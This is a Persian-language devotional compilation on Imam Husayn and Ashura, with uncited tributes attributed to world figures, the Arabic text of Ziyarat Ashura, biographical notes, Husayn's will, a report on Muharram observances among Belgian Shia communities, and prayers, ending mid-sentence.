ـ فردر جمس: درس امام حسين و هر قهرمان شهيد ديگري اين است كه در دنيا اصول ابدي عدالت و ترحم و محبت وجود دارد كه تغيير ناپذيرند و همچنين مي‌رساند كه هرگاه كسي براي اين صفات مقاومت كند و در راه آن پافشاري نمايد، آن اصول هميشه در دنيا باقي و پايدار خواهد ماند.
 
ـ ل.م.بويد: در طي قرون، افراد بشر هميشه جرأت و پردلي و عظمت روح، بزرگي قلب و شهامت رواني را دوست داشته‌اند و در همين هاست كه آزادي و عدالت هرگز به نيروي ظلم و فساد تسليم نمي‌شود. اين بود شهامت و اين بود عظمت امام حسين. و من مسرورم كه با كساني كه اين فداكاري عظيم را از جان و دل ثنا مي‌گويند شركت كرده‌ام، هر چند كه 1300 سال از تاريخ آن گذشته است.
 
ـ واشنگتن ايروينگ (مورخ مشهور آمريكايي): براي امام حسين (عليه‌السلام) ممكن بود كه زندگي خود را با تسليم شدن به يزيد نجات بخشد، ليكن مسؤوليت پيشوا و نهضت بخش اسلام اجازه نمي‌داد كه او يزيد را به عنوان خلافت بشناسد. او به زودي خود را براي قبول هر ناراحتي و فشاري به منظور رها ساختن اسلام از چنگال بني اميه آماده ساخت. در زير آفتاب سوزان سرزمين خشك و در روي ريگهاي تفتيده عربستان، روح حسين فنا ناپذير است. اي پهلوان و اي نمونه شجاعت و اي شهسوار من، اي حسين!
 
ـ توماس ماساريك: گرچه كشيشان ما هم از ذكر مصائب حضرت مسيح مردم را متأثر مي‌سازند، ولي آن شور و هيجاني كه در پيروان حسين (عليه‌السلام) يافت مي‌شود در پيروان مسيح يافت نخواهد شد و گويا سبب اين باشد كه مصائب مسيح در برابر مصائب
حسين (عليه‌السلام) مانند پر كاهي است در مقابل يك كوه عظيم پيكر.
 
ـ موريس دوكبري: در مجالس عزاداري حسين گفته مي‌شود كه حسين، براي حفظ شرف و ناموس مردم و بزرگي مقام و مرتبه اسلام، از جان و مال و فرزند گذشت و زيربار استعمار و ماجراجويي يزيد نرفت. پس بياييد ما هم شيوه او را سرمشق قرار داده، از زيردست استعمارگران خلاصي يابيم و مرگ با عزت را بر زندگي ذلت ترجيح دهيم.
ـ ماربين آلماني (خاورشناس): حسين (عليه‌السلام) با قرباني كردن عزيزترين افراد خود و با اثبات مظلوميت و حقانيت خود، به دنيا درس فداكاري و جانبازي آموخت و نام اسلام و اسلاميان را در تاريخ ثبت و در عالم بلند آوازه ساخت. اين سرباز رشيد عالم اسلام به مردم دنيا نشان داد كه ظلم و بيداد و ستمگري پايدار نيست و بناي ستم هرچه ظاهرا عظيم و استوار باشد، در برابر حق و حقيقت چون پر كاهي بر باد خواهد رفت.
 
ـ بنت الشاطي: زينب، خواهر حسين بن علي (عليهماالسلام) لذت پيروزي را در كام ابن زياد و بني اميه خراب كرد و در جام پيروزي آنان قطرات زهر ريخت، در همه حوادث سياسي پس از عاشورا، همچون قيام مختار و عبدالله بن زبير و سقوط دولت امويان و برپايي حكومت عباسيان و ريشه دواندن مذهب تشيع، زينب قهرمان كربلا نقش برانگيزنده داشت.
 
ـ لياقت علي خان (نخست وزير پاكستان): اين روز محرم: براي مسلمانان سراسر جهان معني بزرگ دارد. در اين روز، يكي از حزن آورترين و تراژديك ترين وقايع اسلام اتفاق افتاد، شهادت حضرت امام حسين (عليه‌السلام) در عين حزن، نشانه فتح نهايي روح واقعي اسلامي بود، زيرا تسليم كامل به اراده الهي به شمار مي‌رفت. اين درس به ما مي‌آموزد كه مشكلات و خطرها هرچه باشد، نبايستي ما پروا كنيم و از راه حق و عدالت منحرف شويم.
 
ـ جرج جرداق (دانشمند و اديب مسيحي): وقتي يزيد، مردم را تشويق به قتل حسين و مأمور به خونريزي مي‌كرد، آنها مي‌گفتند: «چه مبلغ مي‌دهي»؟ اما انصار حسين به او گفتند: ما با تو هستيم. اگر هفتاد بار كشته شويم، باز مي‌خواهيم در ركابت جنگ كنيم و كشته شويم.
 
ـ احمد محمود صبحي: اگر چه حسين بن علي (عليهماالسلام) در ميدان نظامي يا سياسي شكست خورد، اما تاريخ، هرگز شكستي را سراغ ندارد كه مثل خون حسين (عليه‌السلام) به نفع شكست خوردگان تمام شده باشد. خون حسين، انقلاب پسر زبير و خروج مختار و نهضتهاي ديگر را در پي داشت، تا آنجا كه حكومت اموي ساقط شد و نداي خونخواهي حسين، فريادي شد كه آن تختها و حكومتها را به لرزه در آورد.
 
ـ آنطون بارا (مسيحي): اگر حسين از آن ما بود، در هر سرزميني براي او بيرقي بر مي‌افراشتيم و در هر روستايي براي او منبري بر پا مي‌نموديم و مردم را با نام حسين به مسيحيت فرا مي‌خوانديم.
 
ـ گيبون (مورخ انگليسي): با آنكه مدتي از واقعه كربلا گذشته و ما با صاحب واقعه هم وطن نيستيم، مع ذلك مشقات و مشكلاتي كه حضرت حسين (عليه‌السلام) تحمل نموده، احساساست سنگين دل ترين خواننده را بر مي‌انگيزد، چندانكه يك نوع عطوفت و مهرباني نسبت به آن حضرت در خود مي‌يابد.
 
ـ نيكلسون (خاورشناس معروف): بني اميه، سركش و مستبد بودند، قوانين اسلامي را ناديده انگاشتند و مسلمين را خوار نمودند... و چون تاريخ را بررسي كنيم، گويد: دين بر ضد فرمانفرمايي تشريفاتي قيام كرد و حكومت ديني در مقابل امپراتوري ايستادگي نمود. بنابراين، تاريخ از روي انصاف حكم مي‌كند كه خون حسين (عليه‌السلام) به گردن بني اميه است.
 
ـ سرپرسي سايكس (خاورشناس انگليسي): حقيقتا آن شجاعت و دلاوري كه اين عده قليل از خود بروز دادند، به درجه‌اي بوده است كه در تمام اين قرون متمادي هر كسي آن را شنيد، بي اختيار زبان به تحسين و آفرين گشود. اين يك مشت مردم دلير غيرتمند، نامي بلند غير قابل زوال براي خود تا ابد باقي گذاشتند.
 
ـ تاملاس توندون (هندو، رئيس كنگره ملي هندوستان): اين فداكاريهاي عالي از قبيل شهادت امام حسين (عليه‌السلام)، سطح فكر بشريت را ارتقا بخشيده است و خاطره آن شايسته است هميشه باقي بماند و يادآوري شود.
 
ـ محمد زغلول پاشا (در مصر، در تكيه ايرانيان): حسين (عليه‌السلام) در اين كار، به واجب ديني و سياسي خود قيام كرده و اينگونه مجالس عزاداري، روح شهامت را در مردم پرورش مي‌دهد و مايه قوت اراده آنها در راه حق و حقيقت مي‌گردد.
ـ عبدالرحمان شرقاوي (نويسنده مصري): حسين (عليه‌السلام)، شهيد راه دين و آزادگي است. نه تنها شيعه بايد به نام حسين ببالد، بلكه تمام آزاد مردان دنيا بايد به اين نام شريف افتخار كنند.
 
ـ طه حسين (دانشمند و اديب مصري): حسين (عليه‌السلام)، براي به دست آوردن فرصت و از سرگرفتن جهاد، در آتش شوق مي‌سوخت. او زبان را درباره معاويه و عمالش آزاد كرد، تا به حدي كه معاويه تهديدش نمود. اما حسين، حزب خود را وادار كرد كه در طرفداري حق سختگير باشند.
 
ـ عبدالحميد جودة السحار (نويسنده مصري): حسين (عليه‌السلام) نمي‌توانست با يزيد بيعت كند و به حكومت او تن بدهد، زيرا در آن صورت، بر فسق و فجور، صحه مي‌گذاشت و اركان ظلم و طغيان را محكم مي‌كرد و بر فرمانروايي باطل تمكين مي‌نمود. امام حسين به اين كارها راضي نمي‌شد، گرچه اهل و عيالش به اسارت افتند و خود و يارانش كشته شوند.
 
ـ علامه طنطاوي (دانشمند و فيلسوف مصري): (داستان حسيني) عشق آزادگان را به فداكاري در راه خدا بر مي‌انگيزد و استقبال مرگ را بهترين آرزوها به شمار مي‌آورد، چندانكه بر شتاب به قربانگاه، بر يكديگر پيشي جويند.
 
ـ العبيدي (مفتي موصل): فاجعه كربلا در تاريخ بشر نادره‌اي است، همچنان كه مسببين آن نيز نادره‌اند... حسين بن علي (عليهماالسلام) سنت دفاع از حق مظلوم و مصالح عموم را بنا بر فرمان خداوند در قرآن به زبان پيامبر اكرم وظيفه خويش ديد و از اقدام به آن تسامحي نورزيد. هستي خود را در آن قربانگاه بزرگ فدا كرد و بدين سبب نزد پروردگار، «سرور شهيدان» محسوب شد و در تاريخ ايام، «پيشواي اصلاح طلبان» به شمار رفت. آري، به آنچه خواسته بود و بلكه برتر از آن، كامياب گرديد.
 
 

زيارت عاشورا
اَلسَّلاَمُ عَلَيْكَ يَا أَبَا عَبْدِ اللَّهِ السَّلاَمُ عَلَيْكَ يَا ابْنَ رَسُولِ اللَّهِ‏
(السَّلاَمُ عَلَيْكَ يَا خِيَرَةَ اللَّهِ وَ ابْنَ خِيَرَتِهِ) السَّلاَمُ عَلَيْكَ يَا ابْنَ أَمِيرِ الْمُؤْمِنِينَ وَ ابْنَ سَيِّدِ الْوَصِيِّينَ‏ ، السَّلاَمُ عَلَيْكَ يَا ابْنَ فَاطِمَةَ سَيِّدَةِ نِسَاءِ الْعَالَمِينَ‏ ، السَّلاَمُ عَلَيْكَ يَا ثَارَ اللَّهِ وَ ابْنَ ثَارِهِ وَ الْوِتْرَ الْمَوْتُورَالسَّلاَمُ عَلَيْكَ وَ عَلَى الْأَرْوَاحِ الَّتِي حَلَّتْ بِفِنَائِكَ عَلَيْكُمْ مِنِّي جَمِيعاً سَلاَمُ اللَّهِ أَبَداً مَا بَقِيتُ وَ بَقِيَ اللَّيْلُ وَ النَّهَارُيَا أَبَا عَبْدِ اللَّهِ لَقَدْ عَظُمَتِ الرَّزِيَّةُ وَ جَلَّتْ وَ عَظُمَتِ الْمُصِيبَةُ بِكَ (بِكُمْ) عَلَيْنَا وَ عَلَى جَمِيعِ أَهْلِ الْإِسْلاَمِ‏ وَ جَلَّتْ وَ عَظُمَتْ مُصِيبَتُكَ فِي السَّمَاوَاتِ عَلَى جَمِيعِ أَهْلِ السَّمَاوَاتِ‏ ، فَلَعَنَ اللَّهُ ُمَّةً أَسَّسَتْ أَسَاسَ الظُّلْمِ وَ الْجَوْرِ عَلَيْكُمْ أَهْلَ الْبَيْتِ‏ ، وَ لَعَنَ اللَّهُ أُمَّةً دَفَعَتْكُمْ عَنْ َقَامِكُمْ وَ أَزَالَتْكُمْ عَنْ مَرَاتِبِكُمُ الَّتِي رَتَّبَكُمُ اللَّهُ فِيهَا ، وَ لَعَنَ اللَّهُ أُمَّةً قَتَلَتْكُمْ وَ لَعَنَ اللَّهُ الْمُمَهِّدِينَ لَهُمْ بِالتَّمْكِينِ مِنْ قِتَالِكُمْ‏ بَرِئْتُ إِلَى اللَّهِ وَ إِلَيْكُمْ مِنْهُمْ وَ (مِنْ) أَشْيَاعِهِمْ وَ أَتْبَاعِهِمْ وَ أَوْلِيَائِهِمْ‏.يَا أَبَا عَبْدِ اللَّهِ إِنِّي سِلْمٌ لِمَنْ سَالَمَكُمْ وَ حَرْبٌ لِمَنْ حَارَبَكُمْ إِلَى يَوْمِ الْقِيَامَةِ وَ لَعَنَ اللَّهُ آلَ زِيَادٍ وَ آلَ مَرْوَانَ وَ لَعَنَ اللَّهُ بَنِي أُمَيَّةَ قَاطِبَةً وَ لَعَنَ اللَّهُ ابْنَ مَرْجَانَةَ وَ لَعَنَ اللَّهُ عُمَرَ بْنَ سَعْدٍ وَ لَعَنَ اللَّهُ شِمْراً (شَمِراً) وَ لَعَنَ اللَّهُ أُمَّةً أَسْرَجَتْ وَ أَلْجَمَتْ وَ تَنَقَّبَتْ لِقِتَالِكَ بِأَبِي أَنْتَ وَ أُمِّي‏ ، لَقَدْ عَظُمَ مُصَابِي بِكَ فَأَسْأَلُ اللَّهَ الَّذِي أَكْرَمَ مَقَامَكَ وَ أَكْرَمَنِي (بِكَ) أَنْ يَرْزُقَنِي طَلَبَ ثَارِكَ مَعَ إِمَامٍ مَنْصُورٍ مِنْ أَهْلِ بَيْتِ مُحَمَّدٍ صَلَّى اللَّهُ عَلَيْهِ وَ آلِهِ‏اللَّهُمَّ اجْعَلْنِي عِنْدَكَ وَجِيهاً بِالْحُسَيْنِ عليه السلام فِي الدُّنْيَا وَ الْآخِرَةِ ، يَا أَبَا عَبْدِ اللَّهِ إِنِّي أَتَقَرَّبُ إِلَى اللَّهِ وَ إِلَى رَسُولِهِ وَ إِلَى أَمِيرِ الْمُؤْمِنِينَ‏ وَ إِلَى فَاطِمَةَ وَ إِلَى الْحَسَنِ وَ إِلَيْكَ بِمُوَالاَتِكَ‏ وَ بِالْبَرَاءَةِ (مِمَّنْ قَاتَلَكَ وَ نَصَبَ لَكَ الْحَرْبَ وَ بِالْبَرَاءَةِ مِمَّنْ أَسَّسَ أَسَاسَ الظُّلْمِ وَ الْجَوْرِ عَلَيْكُمْ‏ وَ أَبْرَأُ إِلَى اللَّهِ وَ إِلَى رَسُولِهِ) مِمَّنْ أَسَّسَ أَسَاسَ ذَلِكَ وَ بَنَى عَلَيْهِ بُنْيَانَهُ‏ وَ جَرَى فِي ظُلْمِهِ وَ جَوْرِهِ عَلَيْكُمْ وَ عَلَى أَشْيَاعِكُمْ بَرِئْتُ إِلَى اللَّهِ وَ إِلَيْكُمْ مِنْهُمْ‏ وَ أَتَقَرَّبُ إِلَى اللَّهِ ثُمَّ إِلَيْكُمْ بِمُوَالاَتِكُمْ وَ مُوَالاَةِ وَلِيِّكُمْ‏ وَ بِالْبَرَاءَةِ مِنْ أَعْدَائِكُمْ وَ النَّاصِبِينَ لَكُمُ الْحَرْبَ وَ بِالْبَرَاءَةِ مِنْ أَشْيَاعِهِمْ وَ أَتْبَاعِهِمْ‏ ، إِنِّي سِلْمٌ لِمَنْ سَالَمَكُمْ وَ حَرْبٌ لِمَنْ حَارَبَكُمْ وَ وَلِيٌّ لِمَنْ وَالاَكُمْ وَ عَدُوٌّ لِمَنْ عَادَاكُمْ‏ ، فَأَسْأَلُ اللَّهَ الَّذِي أَكْرَمَنِي بِمَعْرِفَتِكُمْ وَ مَعْرِفَةِ أَوْلِيَائِكُمْ وَ رَزَقَنِي الْبَرَاءَةَ مِنْ أَعْدَائِكُمْ‏ ، أَنْ يَجْعَلَنِي مَعَكُمْ فِي الدُّنْيَا وَ الْآخِرَةِ وَ أَنْ يُثَبِّتَ لِي عِنْدَكُمْ قَدَمَ صِدْقٍ فِي الدُّنْيَا وَ الْآخِرَةِ وَ أَسْأَلُهُ أَنْ يُبَلِّغَنِي الْمَقَامَ الْمَحْمُودَ لَكُمْ عِنْدَ اللَّهِ‏ وَ أَنْ يَرْزُقَنِي طَلَبَ ثَارِي (ثَارَكُمْ) مَعَ إِمَامٍ هُدًى (مَهْدِيٍّ) ظَاهِرٍ نَاطِقٍ بِالْحَقِّ مِنْكُمْ وَ أَسْأَلُ اللَّهَ بِحَقِّكُمْ وَ بِالشَّأْنِ الَّذِي لَكُمْ عِنْدَهُ أَنْ يُعْطِيَنِي بِمُصَابِي بِكُمْ أَفْضَلَ مَا يُعْطِي مُصَاباً بِمُصِيبَتِهِ‏ مُصِيبَةً مَا أَعْظَمَهَا وَ أَعْظَمَ رَزِيَّتَهَا فِي الْإِسْلاَمِ وَ فِي جَمِيعِ السَّمَاوَاتِ وَ الْأَرْضِ(الْأَرَضِينَ) ، اللَّهُمَّ اجْعَلْنِي فِي مَقَامِي هَذَا مِمَّنْ تَنَالُهُ مِنْكَ صَلَوَاتٌ وَ رَحْمَةٌ وَ مَغْفِرَةٌ ، اللَّهُمَّ اجْعَلْ مَحْيَايَ مَحْيَا مُحَمَّدٍ وَ آلِ مُحَمَّدٍ وَ مَمَاتِي مَمَاتَ مُحَمَّدٍ وَ آلِ مُحَمَّدٍ ، اللَّهُمَّ إِنَّ هَذَا يَوْمٌ تَبَرَّكَتْ بِهِ (فِيهِ) بَنُو أُمَيَّةَ وَ ابْنُ آكِلَةِ الْأَكْبَادِ اللَّعِينُ ابْنُ اللَّعِينِ عَلَى (لِسَانِكَ) وَ لِسَانِ نَبِيِّكَ (صَلَّى اللَّهُ عَلَيْهِ وَ آلِهِ) فِي كُلِّ مَوْطِنٍ وَ مَوْقِفٍ وَقَفَ فِيهِ نَبِيُّكَ (صَلَّى اللَّهُ عَلَيْهِ وَ آلِهِ) ، اللَّهُمَّ الْعَنْ أَبَا سُفْيَانَ وَ مُعَاوِيَةَ وَ يَزِيدَ بْنَ مُعَاوِيَةَ عَلَيْهِمْ مِنْكَ اللَّعْنَةُ أَبَدَ الْآبِدِينَ‏ وَ هَذَا يَوْمٌ فَرِحَتْ بِهِ آلُ زِيَادٍ وَ آلُ مَرْوَانَ بِقَتْلِهِمُ الْحُسَيْنَ صَلَوَاتُ اللَّهِ عَلَيْهِ (عَلَيْهِ السَّلاَمُ) اللَّهُمَّ فَضَاعِفْ عَلَيْهِمُ اللَّعْنَ مِنْكَ وَ الْعَذَابَ (الْأَلِيمَ)
اللَّهُمَّ إِنِّي أَتَقَرَّبُ إِلَيْكَ فِي هَذَا الْيَوْمِ وَ فِي مَوْقِفِي هَذَا وَ أَيَّامِ حَيَاتِي‏
بِالْبَرَاءَةِ مِنْهُمْ وَ اللَّعْنَةِ عَلَيْهِمْ وَ بِالْمُوَالاَةِ لِنَبِيِّكَ وَ آلِ نَبِيِّكَ (عَلَيْهِ وَ) عَلَيْهِمُ السَّلاَمُ‏

پس مى ‏گويى صد مرتبه‏ :

اللَّهُمَّ الْعَنْ أَوَّلَ ظَالِمٍ ظَلَمَ حَقَّ مُحَمَّدٍ وَ آلِ مُحَمَّدٍ وَ آخِرَ تَابِعٍ لَهُ عَلَى ذَلِكَ‏ * اللَّهُمَّ الْعَنِ الْعِصَابَةَ الَّتِي (الَّذِينَ) جَاهَدَتِ الْحُسَيْنَ وَ شَايَعَتْ وَ بَايَعَتْ وَ تَابَعَتْ عَلَى قَتْلِهِ اللَّهُمَّ الْعَنْهُمْ جَمِيعاً

پس مى ‏گويى صد مرتبه‏ :

السَّلاَمُ عَلَيْكَ يَا أَبَا عَبْدِ اللَّهِ وَ عَلَى الْأَرْوَاحِ الَّتِي حَلَّتْ بِفِنَائِكَ‏ * عَلَيْكَ مِنِّي سَلاَمُ اللَّهِ أَبَداً مَا بَقِيتُ وَ بَقِيَ اللَّيْلُ وَ النَّهَارُ وَ لاَ جَعَلَهُ اللَّهُ آخِرَ الْعَهْدِ مِنِّي لِزِيَارَتِكُمْ * السَّلاَمُ عَلَى الْحُسَيْنِ وَ عَلَى عَلِيِّ بْنِ الْحُسَيْنِ (وَ عَلَى أَوْلاَدِ الْحُسَيْنِ) وَ عَلَى أَصْحَابِ الْحُسَيْنِ‏

پس مى ‏گويى‏ :

اللَّهُمَّ خُصَّ أَنتَ أَوَّلَ ظَالِمٍ بِاللَّعْنِ مِنِّي وَ ابْدَأْ بِهِ أَوَّلاً ثُمَّ (الْعَنِ) الثَّانِيَ وَ الثَّالِثَ وَ الرَّابِعَ‏ * اللَّهُمَّ الْعَنْ  يَزِيدَ خَامِساً وَ الْعَنْ عُبَيْدَ اللَّهِ بْنَ زِيَادٍ وَ ابْنَ مَرْجَانَةَ وَ عُمَرَ بْنَ سَعْدٍ وَ شِمْراً وَ آلَ أَبِي سُفْيَانَ وَ آلَ زِيَادٍ وَ آلَ مَرْوَانَ إِلَى يَوْمِ الْقِيَامَةِ

پس به سجده مى ‏روى و مى ‏گويى‏ :

اللَّهُمَّ لَكَ الْحَمْدُ حَمْدَ الشَّاكِرِينَ لَكَ عَلَى مُصَابِهِمْ الْحَمْدُ لِلَّهِ عَلَى عَظِيمِ رَزِيَّتِي‏ * اللَّهُمَّ ارْزُقْنِي شَفَاعَةَ الْحُسَيْنِ يَوْمَ الْوُرُودِ وَ ثَبِّتْ لِي قَدَمَ صِدْقٍ عِنْدَكَ مَعَ الْحُسَيْنِ وَ أَصْحَابِ الْحُسَيْنِ الَّذِينَ بَذَلُوا

 

ويژه نامه عاشورا طوطي اگر در قفس آئينه داشت چلچلة ما غم ديرينه داشت
غصه حريف دل مشتاق نيست هرکه کند شکوه ز عشاق نيست

نام : حسين عليه السلام ، در تورات شبير و در انجيل طاب آمده است.

پدر: على بن ابى طالب عليه السلام .

مادر: فاطمه زهرا عليها السلام .

جد: رسول الله صلى الله عليه و آله .

جده : خديجه بنت خويلد سلام الله عليها.

كنيه : ابوعبدالله و ابو على .

تولد: سال سوم هجرت (21) و بعضى سال چهارم هجرت گفته اند.

مدت امامت : ده سال .

عمر شريف : 57 سال .

محل دفن : كربلا.

غاضب حق خلافت : يزيد بن معاويه عليه العنة و العذاب .

لقب : رشيد، و فى ، طيب ، السيد، الزكى ، المبارك ، التابع لرضات الله الدليل على ذات الله ، سبط، شهيد و سعيد.

نقش نگين انگشتر امام حسين عليه السلام در فصول المهمه آمده :

لكل اجل كتاب و در وافى از امام صادق عليه السلام روايت شده است : حسبى الله و از امام رضا عليه السلام روايت شده است : ان الله بالغ امره .

تولد امام حسين عليه السلام :

مشهور است كه ولادت امام حسين عليه السلام در مدينه در سوم ماه شعبان سال چهارم هجرت واقع شده است بعضى پنجم ماه مذكور نيز گفته اند. ابن شهر آشوب رحمه الله مى گويد: ولادت آن حضرت پس از ده ماه و بيست روز از ولادت برادرش امام حسن عليه السلام ، و آن روز شنبه با پنجشنبه ماه شعبان سال چهارم هجرت بوده است .
و نيز گفته شده است كه ما بين آن حضرت عليه السلام و بردارش امام حسن مجتبى عليه السلام فاصله نبوده مگر به اندازه مدت حمل ، مدت حلم شش ماه بوده است . در توقيع حضرت صاحب الامر عليه السلام به قاسم بن علاء همدانى ولادت امام حسين عليه السلام روز پنج شنبه سوم ماه شعبان دانسته شده بعضى آخر ماه ربيع الاول سال سوم هجرت نيز گفته اند كه خلاف مشهور است .

شيخ طبرسى رحمة الله و ديگران به سند معتبر از امام رضا عليه السلام نقل كرده اند كه چون امام حسين عليه السلام متولد شد، رسول اكرم صلى الله عليه و آله به اسماء بنت عميس فرمود: مرا بياور اسماء گفت : آن نوزاد مقدس را در جامه سفيدى پيچيده به محضر نبى اكرم صلى الله عليه و آله و سلم بردم ، حضرت او را گرفته در دامن قرار داد، در گوش راست او اذان و در گوش چپ او اقامه گفت .جبرئيل نازل شد و گفت : خداى بزرگ سلام مى رساند و مى فرمايد: چون على عليه السلام نسبت به تو منزله هارون است نسبت به موسى پس او را به اسم پسر كوچك هارون نام گذار شبير است و چون لغت عربى است او را حسين نام گذار.پس پيامبر بزرگوار او را بوسه داد و گريست و فرمود: تو را معصيتى بزرگ در پيش است پروردگار را لعنت كن قاتل او را. فرمود اى اسماء اين خبر را به فاطمه مگو چون روز هفتم شد نبى اكرم فرمود: فرزند مرا بياور، چون او را به نزد آن حضرت بردم گوسفندى براى امام حسين عليه السلام عقيقه كرد، يك ران قربانى را به قابله داد و سر نوزاد عزيزش را تراشيده و به وزن موى سرش نقره صدقه داد پس او را در دامن خود قرار داد و فرمود: اى اباعبدالله ، چه بسيار گران است بر من كشته شدن تو سپس نبى اكرم بسيار گريه مى كرد اسماء گفت : پدر و مادرم فداى تو باد، اين چه گفتارى است كه در روز نخستين ولادت بر زبان جارى كردى و امر نيز فرمودى و گريه مى كنى ؟!حضرت فرمود: مى گويم بر اين فرزند دلبند خود كه گروهى ستمگر از بنى اميه او را خواهند كشت خدا نرساند به ايشان شفاعت مرا، خواهد كشت او را مردى كه رخنه در دين من خواهد كرد و به خداوند بزرگ كافر خواهد شد.

امام صادق (ع) فرمود :

نماز كسى تامّ و كامل است كه طهارت كامل داشته  و كامل و بالغ بوده و اهتمام تمام داشته و نسبت به خدا شناخت و معرفت داشته باشد .

آرام گرفته و اظهار خشوع و تواضع نموده و استوار باشد ، آنگاه ميان حالت نوميدى و آزمندى  و شكيبايى و بى تابى بايستد ، به گونه اى كه گويى نويد پروردگار تنها متوجّهِ او ، و وعده عذاب تنها براى اوست  و تمام اموال و دارايى خويش را در راه خدا بذل نموده و تمام اهداف (يا: وجود و تعلّقات خود را) خيال انگاشته  و نَفْس خود و هرچيز ارجمند در نزد خويش را در راه خشنودى خداوند بذل نموده  و بدون اينكه انتظار چيزى را بكشد، پيش به سوى او وسط راه و راه راست را طى نمايد .

بسم الله الرحمن الرحيم ...

اين وصيت حسين‌بي‌علي است به برادرش محمد حنفيه. حسين گواهي مي‌دهد به توحيد و يگانگي خداوند و اين که براي خدا شريکي نيست و محمد (ص) بنده و فرستاده اوست و آئين حق ( اسلام ) را از سوي خدا ( براي جهانيان ) آورده است و شهادت مي‌دهد که بهشت و دوزخ حق است و روز جزا بدون شک به وقوع خواهد پيوست و خداوند همه انسان‌ها را در چنين روزي زنده خواهد نمود. »

امام در وصيت نامه‌اش پس از بيان عقيده خويش درباره توحيد و نبوت و معاد، هدف خود را از اين سفر اين چنين بيان نمود:

« من نه از روي خودخواهي و يا براي خوشگذراني و نه براي فساد و ستمگري از شهر خود بيرون آمدم؛ بلکه هدف من از اين سفر، امر به معروف و نهي از منکر و خواسته‌ام از اين حرکت، اصلاح مفاسد امت و احياي سنت و قانون جدّم، رسول خدا (ص) و راه و رسم پدرم، علي‌بن‌ابيطالب (ع) است. پس هر کس اين حقيقت را از من بپذيرد ( و از من پيروي کند ) راه خدا را پذيرفته است و هر کس رد کند ( و از من پيروي نکند ) من با صبر و استقامت ( راه خود را ) را در پيش خواهم گرفت تا خداوند در ميان من و بني‌اميه حکم کند که او بهترين حاکم است.

و برادر ! اين است وصيت من به تو و توفيق از طرف خداست. بر او توکل مي‌کنم و برگشتم به سوي اوست. »

محرم در ديگر کشورها : عاشورا در بلژيک ...

آن دسته از شيعيان كه در بلژيك داراي تشكيلات مذهبي شناخته‌ شده هستند اجمالاً به شرح زيرند: 1- شيعيان عرب كه عمدتاً مراكشي ، الجزايري ، تونسي هستند. 2- شيعيان ترك. 3- شيعيان پاكستاني. 4- شيعيان عراقي. ـ شيعيان عرب غالباً در زير سايبان مسجد الرضا(ع) كه جايگاه قانوني ثبت شده‌اي ندارد ، گرد مي‌آيند . ـ شيعيان ترك داراي يك مسجد هستند ولي به مرور زمان شيعيان اسمي گردانندگي آن را به دست گرفته‌اند . ـ پاكستاني‌ها نيز در ليالي مخصوص، من جمله ايام محرم با اجاره نمودن محلي و اعلام آن به عنوان « حسينيه‌ي پاكستاني‌ها » دور هم جمع مي‌شوند و عزاداري مي‌كنند . ـ شيعيان عراقي در آنورس در يك منزل شخصي گرد هم مي‌آيند و آداب و رسوم مذهبي را برپا مي‌دارند . مراسم عاشورا در بين شيعيان بلژيك به‌صورت كاملاً طبيعي و بدون خرافات اجرا و گرامي داشته‌ مي‌شود . شيعيان مسجد الرضا به دعوت نمايندگي در مراسم سفارت شركت مي‌كنند و تاكنون از خودشان مراسم خاصي نداشته‌اند و فرهنگ سينه‌زني و نوحه‌خواني ندارند و در جمع ايرانيان حضور مي‌يابند . جمع اين عده حدود سيصد نفر است . ـ شيعيان ترك هيچ‌گونه تعزيت و يا عزاداري خاصي در ايام عاشورا ندارند ولي جمع آن‌ها به حدود هزار نفر مي‌رسد . ـ پاكستاني‌ها كه حدود سيصد الي چهار صد نفر هستند ، مراسم عزاداري سينه‌زني و نوحه‌خواني خاصي دارند كه هر ساله برگزار مي‌گردد و خرافات يا شيوه‌هاي غير متداول عزاداري در بين آن‌ها رايج نيست . شيعيان عراقي نيز در آنورس عزاداري و سينه‌زني دارند و آن‌ها نيز به صورتي كاملاً عادي مراسم عاشورا را عزيز مي‌دارند .

حديث :
امام حسين عليه السلام:

چگونه‌ با چيزى‌ كه‌ خود در وجودش‌ نيازمند توست‌، براى‌ وجود تو دليل‌ آورده‌ شود؟آيا چيزى‌ هست‌ كه‌ آشكارتر از تو باشد تا وسيله‌ آشكار كردن‌ تو باشد؟ كى‌ پنهانى‌ تا
نيازمند دليلى‌ باشى‌ كه‌ بر تو دلالت‌ كند؟ و كى‌ دورى‌ تا آثارت‌ وسيله‌ رسيدن‌ به‌ تو باشند؟ كور باد آن‌ چشمى‌ كه‌ تو را مراقب‌ و نگهبان‌ خود نبيند.

آشنايي با القاب آن امام :
عطشان :

از القاب سيد الشهدا كه تشنه از كربلا به شهادت رسيد. اين تعبير در روايات، تواريخ و زيارتنامه‌ها درباره آن امام آمده است.

  عاشورا از نگاه انديشمندان جهان :
مهاتماگانديمن زندگي امام حسين، آن شهيد بزرگ اسلام را به دقت خوانده‌ام و توجه كافي به صفحات كربلا نموده‌ام و بر من روشن شده است كه اگر هندوستان بخواهد يك كشور پيروز گردد، بايستي از امام حسين پيروي كند.

عبادات :
از حضرت امام رضا عليه السلام منقول است كه حضرت رسول صلى الله عليه و آله دو ركعت نماز مى ‏كرد و چون فارغ مى ‏شد دستها را بلند مى ‏كرد و اين دعا را سه دفعه مى ‏خواند :

خدايا تو معبود قديمى و اين است سال تازه ‏اى ؛ پس از تو در آن درخواست حفظ از شيطان و نيرو و قوت بر اين نفس اماره بدخواه دارم و نيز اشتغال بدانچه مرا (در عمل) به تو نزديك گرداند.
اى كريم !اى صاحب جلال و بزرگوارى !اى پشتيبان كسى که نگهدارنده و پشتبانى ندارد.اى ذخيره كسى که ذخيره‏ اى ندارد.اى پناه بى ‏پناهان ! اى دادرس بى ‏كسان اى پشتوان بى ‏پشتوانان اى گنجينه بى ‏گنجان !اى نيك آزمايش اى بزرگ اميدوارى و از عز و شكوه ناتوانان اى نجات دهنده غريقان اى نجات بخش هالكان اى نعمت ده اى نيكو اى بخشنده اى خوشرفتار ! تويى كه ‏براى تو سياهى شب و روشنى روز و تابش ماه و شعاع خورشيد و شرشر آب و صداى درخت سجده كرد.اى خدا انبازى براى تو نيست ! بار خدايا ما را به از آنچه گمان برند بگردان و آنچه از (بدي هاى) ما ندانند بيامرز و بدانچه گويند از ما بازخواست مفرماى .بس است مرا خداى نيست معبود حقى جز او بر او توكل كردم و اوست پروردگار عرش بزرگ ! به او گرويديم هر چه هست از نزد پروردگار ما است و ياد آور نشود جز صاحبان خرد.پروردگارا كج مكن دلهاى ما را پس از آنكه راه نمودى ما را و ببخش براى ما از پيش خودت رحمت زيرا كه تويى پر 